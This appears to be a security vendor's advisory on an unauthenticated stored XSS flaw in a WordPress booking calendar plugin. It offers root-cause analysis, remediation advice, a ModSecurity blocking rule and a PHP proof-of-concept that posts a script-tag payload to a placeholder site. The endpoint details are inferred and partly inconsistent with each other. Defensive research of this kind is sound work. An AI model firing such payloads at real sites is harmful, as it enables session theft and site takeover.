Atomic Edge analysis of CVE-2026-25435 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Booking calendar, Appointment Booking System WordPress plugin versions up to and including 3.2.36. The vulnerability allows attackers to inject malicious scripts that execute when users view compromised pages. The CVSS 7.2 score reflects its network-based attack vector, low attack complexity, and scope change impact.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping (CWE-79). The plugin likely fails to properly sanitize user-supplied data before storing it in the database or fails to escape that data when rendering it in browser output. This conclusion is based on the CWE classification and vulnerability description, as no source code diff is available for confirmation. The vulnerability exists in a public-facing component that processes unauthenticated requests.
Exploitation likely targets a front-end booking form or public API endpoint. Attackers would send HTTP POST requests containing malicious JavaScript payloads in parameters like ‘name’, ’email’, ‘notes’, or custom field inputs. The payload would be stored in the plugin’s booking database. When an administrator views the bookings list or a user views a page containing the injected booking data, the script executes in their browser session. A typical payload might be alert(document.cookie) or a more sophisticated credential harvesting script.
Proper remediation requires implementing both input validation and output escaping. The plugin should sanitize all user input using WordPress functions like sanitize_text_field() or wp_kses() before database storage. The plugin must also escape all dynamic output using esc_html(), esc_attr(), or wp_kses() depending on context. WordPress nonces should be added to prevent CSRF, though this vulnerability’s unauthenticated nature suggests nonce verification was absent.
Successful exploitation enables attackers to steal session cookies, perform actions as authenticated users, or deface website content. Since the vulnerability is stored XSS, a single injection affects all users who view the compromised page. Attackers could hijack administrator sessions to gain full WordPress control. The CVSS vector indicates confidentiality and integrity impacts with no direct availability effect, though privilege escalation could lead to site takeover.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25435 (metadata-based)
# This rule blocks exploitation of the stored XSS vulnerability in Booking calendar plugin
# The rule targets the likely AJAX endpoint with specific parameter patterns
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625435,phase:2,deny,status:403,chain,msg:'CVE-2026-25435: Stored XSS via Booking calendar plugin AJAX',severity:'CRITICAL',tag:'CVE-2026-25435',tag:'WordPress',tag:'Plugin',tag:'XSS'"
SecRule ARGS_POST:action "@streq booking_calendar_submit" "chain"
SecRule ARGS_POST:name|ARGS_POST:email|ARGS_POST:message "@rx <script[^>]*>"
"t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25435 - Booking calendar, Appointment Booking System <= 3.2.36 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-25435
* Assumptions based on plugin functionality and CWE-79:
* 1. Plugin has a public booking form accepting user input
* 2. Form submission endpoint is /wp-admin/admin-ajax.php with action=booking_action
* 3. Vulnerable parameters include at least 'name' and 'email'
* 4. No nonce or capability checks exist for unauthenticated submissions
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// XSS payload - modify as needed
$payload = '<script>alert("Atomic Edge XSS Test - CVE-2026-25435")</script>';
// POST data simulating booking form submission
// Action parameter inferred from plugin slug 'booking-calendar'
$post_data = array(
'action' => 'booking_calendar_submit',
'name' => $payload . 'Test User',
'email' => $payload . 'test@example.com',
'phone' => '1234567890',
'date' => date('Y-m-d'),
'time' => '10:00',
'message' => 'Booking request with XSS payload'
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check response
if ($http_code == 200) {
echo "[+] Request sent successfully. Check admin booking panel for XSS execution.n";
echo "[+] Response: " . substr($response, 0, 200) . "...n";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
curl_close($ch);
?>
